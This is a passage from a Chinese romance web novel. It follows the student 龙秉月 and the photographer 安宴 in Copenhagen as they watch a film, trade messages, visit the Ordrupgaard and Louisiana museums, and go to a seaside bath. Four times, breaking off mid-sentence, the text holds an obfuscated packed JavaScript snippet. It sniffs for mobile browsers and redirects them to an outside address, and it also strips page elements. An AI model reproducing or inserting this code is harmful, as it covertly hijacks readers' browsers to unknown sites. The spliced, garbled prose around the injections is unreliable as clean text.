她预备出门回房间找件外套回来,打开门正好碰上了刚从健身房出来的安宴,颈间搭着擦汗的毛巾,汗水仍在从额头淌下,白皮肤也染上了运动后的潮红。 又一副她没见过的模样,突然的偶遇吓了她一跳,热意从体内传出,覆盖了先前的冷。 “怎么了,不喜欢?”安宴拿毛巾擦了擦汗,问得很直接。 “不是不是。我有点冷,去房间拿件外套。” 不料安宴直接推开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634408|143709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影音室的门:“这里有毯子,可以披着,盖着。” 他都这么说了,她也不好拂了他的好意,跟着他进屋,接过他从柜子里拿出的毯子。 “是洗干净后没人用过的,放心。还有什么需要吗?” 龙秉月抱着毛绒绒暖融融的毯子,摇了摇头。 “嗯,那我走了。渴的话那边小冰箱里有饮料。” “好。” 他走到门口却又回过头,撑着门说:“我很开心你能看下去我的电影。” 她很想回一句“这话留着等我看完再说吧”,但安宴已经关门离开了。 她回过神来,继续原先的抱腿姿势,毯子盖在胳膊和腿之上,夹在下巴和膝盖之间。干燥的熏香扑面而来,交织着香甜的果香和苦涩的木香。 有些留香持久的香水,即使清洗过后也依然有明显的气味存留。当下便是这种情况。 只是这气味,意外贴合电影的调调。 女主用法语向男主倾诉自己的孤独,知道对方听不懂,所以无所不谈;也正是因为听不懂,他们才能经历语言消失之时的靠近和依偎。 摄影机的视角选取得刁钻,几乎从不正面直视人物。表情藏在阴影之下,环境和氛围侧写出寂寞。没有去处的人和不在来处的人,把酒店当作中转站,依附于短暂的关系。 她不追求永恒,因为永恒的孤独她已拥有。再度厌倦时,男主恰好也该离开了。 最后又有了一个前男友在人群中的镜头,但不是俗套的两人再相遇,哪怕他身材高大得明显。他们淹没于人群中,人人样貌皆疏离的人群。 她的孤独,不过是每个人都有的孤独。 电影时间不长,只有80分钟出头。龙秉月的情绪跟着电影走,“FIN”(完)字样出现在画面中间的时候,一时间没反应过来。 她按下暂停,漆黑的房间里只有三个字母散发出白光。 她躺倒在沙发上,背对着光,脸埋在毯子里,开始回忆刚看完的电影。 故事本身并没有什么特别的,人的孤独和关系的易逝是太多文艺作品的主题。拍法合适且有效,但总归带着不少前人的痕迹,尤其会让她想到世纪初的中国电影。 这种感觉其实很奇妙,一部涉及跨文化的电影,由她这个跨文化的观众观看,而电影主创又受到过她的文化的影响。 就像毯子上曾经喷过的,木质东方调的香水。气味经久不散,环绕着她。 好似听不懂法语的男主角,她感到自身语言的匮乏。于是打开影评网站,查看别人的评价。 【在生活的困顿中,时间像液体一样包裹住女主角。】 她的嘴替网友这么写道。 过去一年中很多个时刻,龙秉月都想过,她生活在这里,就像今晚那洋葱汤上漂浮着的油脂,浮于水面而不溶于水。 到这一刻她才意识到,水不是异乡,而是时间。 她忽然好想要一个大大的温暖的拥抱。然而,她只是裹紧了身上的毯子。 11. 第十一章 钴蓝色的夜幕下,月亮散发着朦胧的白光,像一颗发光的球,让人想要捧在手心。 女孩躺在床上,看着窗外的这般景观,像在看一幅画。 站起来,走向窗边,镜头随之拉近,画框渐渐消失在取景框外;镜头继续上摇,另一个月亮出现。 ——原来那颗发光的球只是路灯。 龙秉月把电影倒退到这一幕,拍照发给安宴:【这个月亮可以借我发发嘛?】 安宴不答反问:【电影怎么样?】 龙秉月:【不告诉你~】 想套话?没门。 安宴:【用不用帮你剪辑好?】 龙秉月:【用!谢谢!】 她不答他的话,他也愿意答应她,而她毫不客气,甚至得寸进尺:【别只剪时间,画幅也顺便剪成适合竖屏的吧,谢。】 他顺势卖惨:【Yue得到了一切,可怜的Jens连一句观后感都得不到。】 她敷衍画饼:【以后一定。】 他继续暗示:【你有没有看过我短视频账号的个人简介?】 好奇之下,龙秉月打开app,进入安宴的主页——个人简介不就是他的职业和代表作? 哦,下面还有个链接,点开看看。 【BuyJensacoffeetosupporthim】(打赏他一杯咖啡) 喷了,原来是在暗示她打赏。 打赏按钮上的图案是一只可爱的咖啡杯,上面有一颗珊瑚色心形。 安宴的头像下面显示有数据,113个支持者共计打赏过1215杯咖啡。 粉丝粘性这么高的吗…… 龙秉月回到房间,撕下一张便利贴,在桌前随手涂鸦了同款小咖啡杯,又像风一样飘到对面门口,贴了上去。摩挲了好几下,确保它不会掉下来。 OK,打赏完毕。这真材实料的,可比那113个只在网上数字打赏的人有诚意。 白天互关的时候没来得及,她现在才开始认真浏览他的视频。 除了电影和摄影相关的内容外,他还发了很多哥本哈根的内容。当然,也可以说这些同样侧面体现了他的摄影本领。 她知道或不知道,去过或没去过的地点,在他的镜头下迸发出别样的魅力。摄影机比她的眼睛吃得好。 她不由得开始期待他的夏日影像计划的最终成片,也种草了很多地方,希望能在一年后回国前都打卡了。 继续看下去,找到了一个他难得露脸的视频:艺术展上的镜面装置作品,拍摄的时候他的脸反射入镜了。 尽管手机挡住了一半的脸,但露出的那一半还是吸引了一群色鬼喊老公,外貌协会果然是不分国界的。 就是,这些外国人的骚话也太老土了吧,什么“看得我心跳加速了”“差点溺死在你的绿眼睛里”,简直像是从十年前复制粘贴的。 有必要宣扬一下超绝控评抽象发疯文学,让他们见见世面。 龙秉月噼里啪啦打字,倾倒着以前看到过、在英文语境下也成立的文案: 【先生,考虑做演员吗?演我人生的男主角。】 【我开着灯刷视频,房间突然暗了下来,原来是帅气的你在发光。】 【我的天菜!(流口水)(尖叫)(扭曲)(阴暗地爬行)】 …… 把安宴的短视频全部看完后,她往上滑动到主页顶部,眼神扫了一路的播放量数据——露脸的那条不是最高的,在所有视频中大概只能排到中间,这让她松了一口气:才华还是有用的。 也是在这时候,手机屏幕顶部弹出了安宴的短信:【不回我消息,转头去我视频下面发疯?】 ? 不是你让我去看你视频号? 龙秉月点开短信通知,到消息界面才发现,原来安宴早就把剪好的月亮视频发给了她。而她,沉迷于看他的短视频,压根没注意到消息通知。 她先引用视频那条,回复:【谢谢哦!请查收门口的咖啡~】 安宴:【大半夜的你存心搞我?】 一分钟后:【[图片]爬行不易,下次不用贴这么高了。我可以弯腰捡的,毕竟我自带光源。】 尴尬。 她想她不是抽象,是脑子抽了才去评论。 但是木已成舟,这都后半夜了,她的健康作息已经岌岌可危。明天还要上班,不能再熬了。 她没再回复安宴,顺手把视频发了,配文:【Mistakeastreetlightforthemoon错把路灯当月亮。】 查找资料的时候发现,这个梗不止在中国有热度,外语中同样有很多人使用,无论是表达字面义还是引申义。 周日到周一的凌晨,显然不是流量黄金时间,不过她丝毫不介意,更没有数据焦虑,有的只是一颗玩心,把短视频平台当作游戏。 她想,她不会错把路灯当月亮。 - 星期一,生活又开始新一轮循环。 不同的是,龙秉月上下班有人接送了。 今天上午,她主动第一个跑进厨房,唰唰一通操作准备了四人份午餐。 他们家有一点蛮老派,那就是一楼楼梯口的墙上挂着磁吸的人员去向牌,分为“上班上学”“外出娱乐”“在家”“请勿打扰”等状态。 可以看到,除了米克尔去上班之外,其他人都在家。她不知道是不是所有人都吃午饭,小心翼翼地按照最多人数准备了。 好消息是,预测准确,没有浪费。连安宴也下来吃午饭了。 餐桌上,龙秉月好奇地问:“你们就靠楼梯口的去向牌来共享行踪吗?不用家庭群之类的东西?” 安扬抢答:“要是在群里汇报行踪,我恐怕要天天骗人了。” 三个人同时看向她,龙秉月心想,好厉害,这大言不惭直抒胸臆。 伊莎贝拉正经回答:“不用的,我们没有信息焦虑。放轻松啦宝贝,你就当是住在情景喜剧里的合租公寓,都是朋友,碰上就打打闹闹,碰不上就独享自己的空间。” 此情此景,怎么不会想到八千多公里外,十八岁前永远不能上锁的房门呢? 以及从小培养的,绝佳的隐藏真实情绪的能力。 凭借这种能力,她丝滑融入餐桌上的欢乐对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634409|143709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话,没被看出来任何异样。 饭后,伊莎贝拉主动叫住龙秉月:“宝贝,等下我们一起去学校,我开车。” “什么,你开车?”龙秉月看看伊莎贝拉,又看看安宴,搞不清这是什么状况。 伊莎贝拉冷笑道:“呵呵,某个不孝子当腻了司机。” 安宴面不改色,不应也不反驳,仿佛人家说的根本不是他。 他总归是摆脱了司机身份——最初提出家教offer时,他摆在台面上的目的正是这个。现在他成功了,她也几乎零成本地解决了食宿,只有伊莎贝拉受伤的世界达成:还要继续去学校上课,并且得自己开车。 想到这些,龙秉月心里更愧疚了。 许是受到安家家庭氛围的影响,在车上,龙秉月诚实地表达了自己的想法,又不失诙谐:“我怎么能继续这样不劳而获……天上掉馅饼固然是好事,但掉多了也会砸伤人的。” 一直以来根深蒂固的想法,要满足条件和期望才配得到爱,她诚惶诚恐,如履薄冰。 而伊莎贝拉告诉她:“怎么会是不劳而获呢?你过去二十多年的人生构成了现在的这个你,那些时光都是你的‘劳’。” “再举一个可能不恰当的例子。你知道哥本哈根有一家蝉联过多次世界第一的餐厅吧?它也没有为我做过什么,但我愿意提前几个月付钱预订名额。我相信等待和付出是值得的,也分辨得出什么样的值得。你就当我是‘预订’你嘛。” “万一餐厅并不好吃呢?”龙秉月再明白不过,落空的等待和付出会加倍反噬。 “拜托,难道我是只看了你的简历吗?我们认识这么久了!”伊莎贝拉犯难了,干脆让她自己慢慢想通,“好了,我要开车了。你开窗吹吹风?最好把这些想法都吹掉。” 车从院子里往外开,龙秉月按下车窗,抬头看到二楼健身房的安宴。 玻璃反光,其实看不真切,人脸隐藏在绿树倒影后面。 却教人想起初遇那个宛如白天的夜晚。同样的反光,同样的不真切。 方才出门前在二楼走廊遇到要去健身房的安宴,他突然问:“你现在上课不需要穿中国特色服饰了吗?这两次见你都没穿。” “一直都不需要的。之前穿旗袍只是因为我刚好有,刚好讲到中式服饰,我又刚好想穿。” “噢,我还以为学校对老师有着装要求。” 她不以为然:“嗨,学校先满足加薪需求再提要求吧!” 夏至,算起来才刚刚过去十天而已。 那时候怎么可能料想到后来峰回路转的发展,穿上旗袍出门时,只当是有不少烦恼但也不缺温馨的平常一天。 甚至她还可笑地以为,安宴没准是来课堂上捣乱的。 如今再回过头看,却经历了一场蝴蝶效应的余震。 伊莎贝拉说得没错,风确实可以吹走之前那些想法。 因为她现在开始想,人不错把路灯当月亮的前提,是见过路灯也见过月亮,最好还是两者同框。 如果在茫茫雾色中抬头看见白色光球,要如何判断它是什么? 她当然希望那是月亮。 12. 第十二章 任谁也说不清,事情怎么就发展成了这个样子。人人各执一词,有理有据,逻辑找不出来破绽。最终破罐破摔地归结于那老生常谈:人生就像一盒巧克力…… 你不怎么爱吃巧克力,饥饿的时候别无选择,打开却发现,巧克力盒子里是你爱吃的牛轧糖。 总而言之,好端端的雇主雇员,变成了家人伙伴;原本纯洁无负担的金钱关系,掺杂了给人负担的爱。 龙秉月的生活在短暂动荡后恢复了稳定,工作日去中文学校教课,周末跟着安宴去摄影采风。 与此同时,有条不紊地运营着她的短视频账号,日常分享和月亮有关的中文趣梗、音乐、影像等流行文化,以及成语、俗语、民间传说等传统文化。 一个人同时做三份工,并且都能乐在其中,她真想夸自己一句天生事业批。 【明天上午11点—晚上?】 是安宴的短信。 两人已经习惯了这样的交流方式。时间段加问号,就是问有没有空去给他当摄影助理。 龙秉月:【OK。这次去哪?】 安宴:【到时候你就知道了。】 同样形成固定模式的,还有这样的一问一答。 他偏偏喜欢假装神秘,可她依然乐此不疲地问,他也不厌其烦地答,每次都是同样的答案:到时候你就知道了。 “究竟是什么好地方,能让你这么早出门?”第二天坐进副驾,好奇宝宝龙秉月再次发问。 她没指望能得到有效回答,当作聊天开场白随口一问。 不料安宴递出一个漫不经心的眼神,懒懒地给了线索:“某个融入自然的博物馆。” 查过哥本哈根游览攻略的人都知道,这里最负盛名的博物馆——路易斯安那(Louisiana)现代艺术博物馆,正是以融入自然空间的游园式观展体验而闻名,乃至频繁获称“世界上最美的博物馆”。 龙秉月也不例外,第一反应理所当然地以为是那里。一个她去了还想再去的地方。 安宴今天开的还是之前接她搬家时的那辆黑车,而玫瑰金色的骚包跑车,自冰淇淋店一别之后,她再也没见过了。 她伸长脖子环视一圈停车场:“话说,好像没在这儿见过你那跑车诶。” “嗯?那天在外面开趴,随手捞了辆朋友的开。”安宴语气随意,把主角从生日派对上开别人车偷溜出去吃冰淇淋这件事,说得像是吃了块蛋糕一样自然。 龙秉月小声自言自语:“真会误导人……” 最早两次见面,他的风格都是张扬恣意,仿佛走到哪里,闪光灯就跟到哪里,永远是视线中的焦点。 离得近了相处久了才开始认知到另外的面目,不断纠正着先前的印象。 每一面都是真实的,只是不知道为什么,最初的样子好像隐藏了起来。 车驶出绿地,驶过河流,一路向北。正是朝着预想中博物馆的方向。 龙秉月在自己手机的地图上输入终点,选择驾车,得到了两条路线。一条距离短、用时少,但走的都是内陆;另一条路程更久,却是沿着海岸线,想必风景无敌。 “等下可以沿着海开吗?”她提出请求。 安宴扭头,对上她期待的目光,坏笑着残忍地泯灭她的希望:“想去路易斯安那?可惜,目的地不是那里。” 看着她的期待转为惊讶,面部表情稍微裂开一点,安宴继续补刀:“再给个提示吧。今天去演你人生的男主角。” ……够了,知道你记忆力好了,别鞭尸了! 龙秉月侧过头看着窗外,脸贴着车门降温,却抵不过耳朵渐渐涨成红色,更激起了身旁人逗弄她的心思。 “你留了那么多条评论,都没有查过视频拍的哪?” “没有……”沿着车门传来闷闷一声。她还以为是有时限的室外展览呢。 “那就不要查了,会比较惊喜。我们很快就到。” 说很快果然很快。龙秉月一直保持着同样的姿势,都还没有觉得脖子酸,就到地方下车了。 入眼是一座大面玻璃的现代建筑,蜿蜒立于草坪之上,一侧随着草坪下坡而微微悬空,远看如同一把短柄刀砍向大地,也好似外星飞船降落地球。 ——奥德罗普格(Ordrupgaard)园林博物馆。 博物馆分为室内和室外区域,室内展出画作,室外则是公园,散落着十几种装置艺术作品,与环境有机地融合在一起。 在外面的时候,玻璃大面积反光,蓝天白云映在上面,看不清室内是什么。走过来才发现,原来“外星飞船”悬空的一侧是博物馆的咖啡馆。 他们先在这里吃了午餐,以黑麦面包为底的开放式三明治。单片面包上涂抹酱或奶酪,加上肉蛋蔬菜,撒上香草或欧芹碎,制作简单,食用方便。 室内空间很大,食客们却都一齐挤在室外的位置上。在阳光面前,社交距离根本不算什么。 等饭后走到公园的露天艺术展区,龙秉月深刻地意识到,刚才咖啡馆室外的拥挤才算不上什么。 过去安宴拍摄的视频里,只看得到他一人。而今天,每个艺术作品附近都有一群人在嬉笑玩闹。 大人小孩们从喷雾的巨型圆环中穿过,在超长竹竿组成的不规则建筑里爬上爬下,在喷泉间跳舞,任由水打湿衣服,再到太阳下晒干。 尽情地把握住了夏天。 安宴把龙秉月拉到“镜迷宫”,也就是他之前拍视频的地方,说两个人先自拍一下。 这里好喜欢镜面啊,龙秉月想。不,不止这里,整座城市都很爱镜面,大到高楼的玻璃幕墙,小到家住别墅的落地窗。 在这组名为“镜迷宫”的作品,众多超过两米高的细长条镜子矗立,组成圆弧状,反射着阳光、植物和游客。光线纷乱交错,把绿地分割成条纹;人置身其中,就会从镜面看到千万个自己,由自己构成的万花筒。 龙秉月匆匆抬头,被大大小小,无限多的她和安宴迷乱了眼。 “靠近一点,不然拍不到。镜子很窄。”安宴对她说。 还要怎么近?再近就要贴着了。 龙秉月突发奇想,灵机一动,站到了安宴前面。反正他高出了一个头还多,这样总能两个人齐齐入镜了吧——既入艺术作品的镜,也入镜头的镜。 就在她为自己的机智得意洋洋时,一只手从身后饶了过来,隔空环着她的肩,像把她搂在怀里。 她瞬间就定住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634410|143709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不敢动了,好怕身体泄露了紧张,一颤抖就肌肤相贴。 “啪”——那只伸到前面的手,按下了拍照键,定格了她的呆滞。 也让她回过神来,从安宴手里夺过手机:“我来拍不就好了嘛!” 她先切到刚才拍下的照片检查。还好,她的表情不傻,而安宴敛着眼看向手机屏幕,视线穿过她的脸颊,避无可避地也看向她。姿势有点奇怪,却透出别样的温馨。 现在换了人来拍,姿势反而显得更奇怪了。前面的人双手举着手机,后面的人双手插兜,看起来跟恶作剧似的。 不过说到底,这自拍有那么重要吗? 龙秉月后知后觉地意识到,她太当回事了。 潦草地拍完,她转过身来,把手机还给安宴。然后速速倒退保持距离,掏出自己的手机,摆出一副只拍自己的模样。 狭小的艺术作品里,多名游客来来往往。安宴站在原地没动,隔着几个人,一瞬不瞬地望着她。 而他眼里的人躲避着他的视线,对此一概不知。 - 室外公园开放到傍晚6点,下午3点,安宴就招呼龙秉月走了。 她难免好奇:“才两小时就拍够素材了吗?” 安宴没有废话:“去路易斯安那。” ?! 这就是先抑后扬吗,可恶,又被他装到了。 沿着海岸线继续向北,驱车30分钟就到了路易斯安那博物馆。 这里同样分为室内室外展区,建筑特点同样有面向景观的大面积玻璃,甚至还有几条玻璃走廊。 不同的是,室内和室外都比奥德罗普格大得多,并且因为临海,让大海也成了博物馆的“展品”。在临海的露台上,甚至可以看到海峡对岸的瑞典。 馆区占地面积最大的,是中央的雕塑公园,它连接着四角的室内展馆。 漫步于其间,龙秉月忽然想到:“你知道吗,我老家也有个雕塑公园。” “那个公园就在市中心,人气却一直不太高,除了花季和举办活动的时候。” 安宴没有接话,静静听她滔滔不绝地讲述。 “我很喜欢在夜晚去那里发呆,视线范围内经常只有我一个人,和很多猫咪。有时候,我会觉得那些雕塑在黑夜中活了过来,就像童话故事里写的那样。” “说起来,我当初留学考虑丹麦,原因之一就是童话感。来之前我怀疑这只是我的空想,来之后我确信这就是我的空想,但是现在……” 龙秉月指着眼前一颗颗彩色的、模样如同星球的球体雕塑,继续说:“我想,我无疑置身于童话之中。” 她偏头看了一眼安宴,似是意有所指,但视线很快转到雕塑后面高大的树:“幻想和现实,也许不用分得那么清的,关键是我的感受。” “嗯,没错,你自己是最重要的。”安宴先给予她肯定,随即又提出自己的观点,“不知道你有没有想过,或许你向往的不是童话,而是美好。” 他上前一步,靠近她:“就拿安徒生来说,他不过是给残酷现实披上了浪漫外衣。” 就像卖火柴的小女孩看到的幻象。 “那我要选择浪漫。” 龙秉月下定决心。 13. 第十三章 晚饭就是在路易斯安那博物馆的露台餐厅吃的。 夏日晚间仍然太阳高照,海面闪烁着流光,仿佛镶嵌着一颗颗璀璨的蓝色碎钻,映得人眼也像闪着光一般。 龙秉月低下头看菜单,这光便又黯淡了下来。 她现在犯了难,这里的菜式比中午的博物馆简餐丰富得多,主菜她又想吃意式龙虾馄饨,又想吃野猪肉…… 手不自觉捏紧了菜单,脑袋也随着目光轻微上下摇摆着,在两道菜之间纠结。 安宴靠在椅背上,打量着她的小动作,看她实在选不出来了才开口问:“怎么了,没有想吃的吗?” “不是,”龙秉月指了指两道菜,“这两道都想吃,不知道该放弃哪个。” “那就都点。” “可是我吃不完。” “我们不是两个人么。” “啊?”北欧人在外用餐喜欢各吃各的,不像在中国,大家会互相分享,龙秉月担心会错意,向安宴确认道,“你是指……?” “我们可以share。”安宴口气轻松得好像这才是这里的常规,“还是说,你嫌弃我?” “怎么会嫌弃你……”她的声音越来越小。 最后,前菜也都是龙秉月选的,一道海鲜拼盘一道沙拉。而甜点,她点了一种加了血橙的“Strausscake”,施特劳斯蛋糕?没有听说过,不知道是什么,点点看。 安宴则点了巧克力蛋糕,既是意料之中也是意料之外——这里的巧克力蛋糕标明了“纯素食”。 等待上菜的时候,龙秉月侧过身面向大海,没有春暖花开,但夏夜晚风和如茵绿草同样迷人。 大多数时候,她都会忘记哥本哈根其实是一座海滨城市。过去一年里,她总是骑车快速穿行于钢筋水泥的楼宇之间,风从耳畔呼啸而过,却只在偶尔的时刻,深呼吸到湿润的空气会反应过来:噢,这是从大海上循环过来的。 或者在看到风车的时候想起,风这么猛,是因为它是海风。 运河流向港口,也经常意识不到它流入的是海洋。在她的印象里,大海总是和阳光、沙滩绑定,要么就是在防波堤的后面,站上去,就拥抱全世界的孤独。 此时此刻,成双成对的人就地坐在露台边缘,欢声笑语与大海一同闪耀着。 在这里,海是背景,是幕布,是远方,是憧憬。唯独不是一同嬉戏的玩伴。 回想起来,她和丹麦的海的最亲密接触,还是上年去海边的小美人鱼雕像。 小美人鱼坐在礁石上,一年四季都有成群的游客排队合照。她嫌人多没有排,只等朋友排到了帮朋友拍照。 那里的海也是装饰性的。 龙秉月托着腮看海,话却是对安宴说的:“你夏天会去海里游泳吗?” 讲完后,她才把头扭回来,看向对面的人,等待一个答案。 “当然。不止夏天,一年四季都会。”安宴对上她的视线,“想去海里游泳吗?” “也没有很强烈的意愿。只是忽然想到,来这里一年,还没去过允许下海游泳的海边。”说着没有多想,语气倒是充满遗憾。 “要不要试试看?说不定就爱上了。下周末可以安排,刚好还没拍过海滨浴场。” “再下个周末可以吗?下周末我不能下海……生理期。” 龙秉月稍稍犹豫,坦然说出了真正的原因。没什么好羞耻的。 安宴神态正常,就好像听到的是“我下周想吃水煮鱼”一样,令她安心,也感叹不愧是高素质男的。 他想都没想就说:“都听你的。” 语气有点宠怎么回事。 “你真好~” 龙秉月回报以灿烂的笑容,安宴也轻笑一声。 “开动吧。” 吃的虽是正餐,但上菜方式偏向简餐,没有那么正规的流程。餐前面包和前菜冷餐一起上了,还没吃到一半,主菜也上来,堆满餐桌,好丰盛。 安宴主动把野猪肉切成两半,分给两人;至于其它本就方便分食的菜品,则是征求龙秉月的意见,两人一致决定直接从餐盘里叉着吃。 他绅士,贴心,优先考虑她,总能让她感受到尊重。 除此之外,龙秉月还很喜欢安宴的一点是,他什么都可以吃,她不用迁就他的口味。 这倒不是她自私,吃饭只想考虑自己,而是白人的过敏原太多,聚餐的时候往往很难分享;即使带些小点心到学校或派对,也要千万注意成分,生怕一不小心把同学送去急诊。 比方说,这家餐厅的菜单上,就标注了多达十四种过敏原:麸质、蛋、奶、花生、大豆、坚果、鱼类、贝类…… 环境舒适,同伴舒心,衬得食物更加美味,她胃口大好,意犹未尽。 终于到了揭秘的餐后甜点环节。这个“施特劳斯蛋糕”,相比起蛋糕,形状倒更像是裹着奶油和糖的泡芙。 龙秉月拿勺子挖下一块,舀进嘴里细细品尝。蛋糕层次分明,马克龙饼干作底,涂抹上鲜奶油和血橙果肉,再覆上牛轧糖涂层。 味觉上,血橙的酸很好地中和了另外三者的甜,在这个嗜甜的国家显得清新。不错,盲点没踩雷。 尝完自己的,她又好奇起来安宴的。毕竟,纯素的巧克力蛋糕,她也没吃过。 有了先前共享主菜的经验,她这次大胆起来,直接提出要求:“我想尝尝你的。” “我们各吃一半,然后交换?”安宴公平公正。 “不不不,一口就够了。”她又不爱巧克力,万一不喜欢,不就亏大了。 然而,这个蛋糕的味道,意外不错。 对她来说,一般巧克力蛋糕往往浓郁而甜腻,这种纯素蛋糕的口感却是松软绵润。好吃,还想再吃——光速打脸了。 于是,她抬眼对着安宴卖萌,希望他能接收到自己的讯号,主动再次提议交换。 安宴把她的小心思尽收眼底,然后,挖下一大块,得意地睥了她一眼,送进自己的嘴里。 坏蛋安宴,刚才真不该觉得他好! 龙秉月使劲捣着自己的蛋糕,用勺子把它切成一小块一小块的。 趁她停歇时,一只长胳膊伸过来拿走她的甜品盘:“谢谢你这么贴心,还帮我分好块。” 这人笑得荡漾,笑得奸诈。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634411|143709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 龙秉月不甘落得下风:“那你要想赢得这场‘贴心’大赛,就只有喂我吃巧克力蛋糕了。” 她只是口嗨而已,不料他竟真的开始执行,而且足够贴心,用她自己的勺子,伸到她面前,让她张嘴就能吃到,不需要身体往前。 难题又抛回给了她,进也不是,退也不是。 安宴耐心十足,也不嫌胳膊酸。怕被周围人瞧见这诡异场景的龙秉月率先放弃挣扎,红着脸张嘴吃掉了蛋糕。 ——呃,这蛋糕怎么变腻了。 - 饭后,两人也像其他人那样,到露台边缘席地而坐,等待两小时后的日落。 酒足饭饱,吹吹海风,实在是舒服得不得了。 龙秉月伸了个懒腰,直接向后一仰,上半身躺到草坪上。 她把自己背的帆布包盖到了眼睛上,闭着眼对安宴说:“我小憩一会儿,等夕阳来了叫我。” 也不看他什么反应。这么小的要求,相信他不会拒绝的吧。 工作五天后的第一个休息日,在外面奔波了一天,她身体已然疲乏。睡着前的最后一个念头,是明天一定要在家里歇一天。 不知道睡了多久后,龙秉月自然醒了。帆布包还盖在脸上,脖颈却感受不到扎人的草了,而是像……躺在什么人的腿上? 她连忙掀开包想要一探究竟,然而太阳尚未落海,光线对刚醒的人来说太过刺眼,她又立马用手捂住了眼睛。 熟悉的气味——那气味她也曾在影音室的毯子上闻到过——令她感到安心,既然是躺在安宴腿上,那就让她理直气壮地多赖一会儿吧。 反正肯定是他主动的。她睡姿良好,绝不可能在睡眠中乾坤大挪移到一个清醒会动的人的腿上。 渐渐适应光照后,龙秉月睁开眼睛,直直撞进安宴深邃的眼眸。 两人对视了一阵,他先开口,嗓音略带沙哑:“醒了?” “嗯。” “起来吗?我腿有点酸了。” “谁叫你把我移到你腿上的,自作自受……”龙秉月缓缓起身,没忘斜他一眼。 安宴还保持着坐姿,视线随着她抬头:“草地上有,大虫子,你喜欢吗?” “咦呃。”龙秉月想象出虫子爬进耳朵的场景,不禁头皮发麻,“那真是谢谢你了。” 男人得寸进尺,向她伸出手:“怎么谢?我腿麻了,拉我起来?” 他顺势装弱,本没抱多大期待,更多是想逗逗她。没想到她不假思索地抓住了他的手,使劲一拉。 她最多出了两分力,剩下八分都是他自己的,她却以为自己占了八分。毕竟,使了那么大的劲,也还是感觉,这骨架真没白长,怪重的。 拉他起来是下意识的行为,过程中只顾着发力,松开手才对肌肤相触的温度后知后觉。 她刚睡醒体温偏低,他就是热源。温度和某种不明不白的情绪,从他干燥温暖的掌心,一并传到了她的体内。 一直到最后的光亮沉入海平面,她的感官都还集中在右手上。夜间气温明明越降越低,手裸露在外却能保持恒温,跳动的心脏一定产生了不少热量吧。 14. 第十四章 七月中旬,龙秉月收到了中文学校第一个月的兼职工资,小金库终于又充实起来。也是在这时认识到,她这段时间的不配得感并非来自暂时的穷困。 搬家后她在淘宝上挑挑选选一个多星期买的一大堆宝贝,在下旬到来之前抵达。 那天是星期四,她上午坐在客厅一遍遍刷新国际物流信息,幸运地赶在没人注意到的时候去门口签收,把一箱货物悄悄搬进了房间。 几乎所有东西都是买来当礼物。她坐在地上,一边拆快递,一边盘算着什么时候给什么样的惊喜。 几十件大大小小的物品跨越山海,铺满了她的房间——早知如此,当初就该选一间更大的卧室了。 终于收拾完成后,龙秉月在手机备忘录上存档记录,然后打开倒数日app,添加了新的一项—— 【距离8月31日“夏天结束”还有42天】 - “你不下海吗?” 到地方后,安宴毫不害臊地开始脱衣服,一点也不避着,像这里几乎所有人一样,没有专门的换衣处,照样自然得如同在自家。 一边脱,一边看向已经坐下的龙秉月,问她。 夏天的海水浴场,挤满了白花花的人。她在这里穿着全套衣服,又戴上了墨镜,显然是个另类。 仿佛下半身粘到了地上,她一动不动,只摇头:“我先观察一会儿,而且要看好东西,免得丢了。等你回来我再去。” 说着,她拍了拍今天拎过来的一个大托特包,一副神神秘秘的模样,不知道里面都装了什么。 安宴脱完上衣脱裤子,然后卷在一起,扔给了龙秉月。 她本能地接住,抱在了怀里。意识到不对劲,又放到一边地上,轻嗤道:“干吗啊你,当我是衣篓吗。” “木板粗糙,给你垫腿。” 他们来的这个海水浴场,是木质结构的,位于海岸线一百米外,通过长长的栈道和海滩相连。海上的部分呈四分之三圆环状,俯瞰有点像月牙;加上栈道一起看,像用针尖挑月牙。 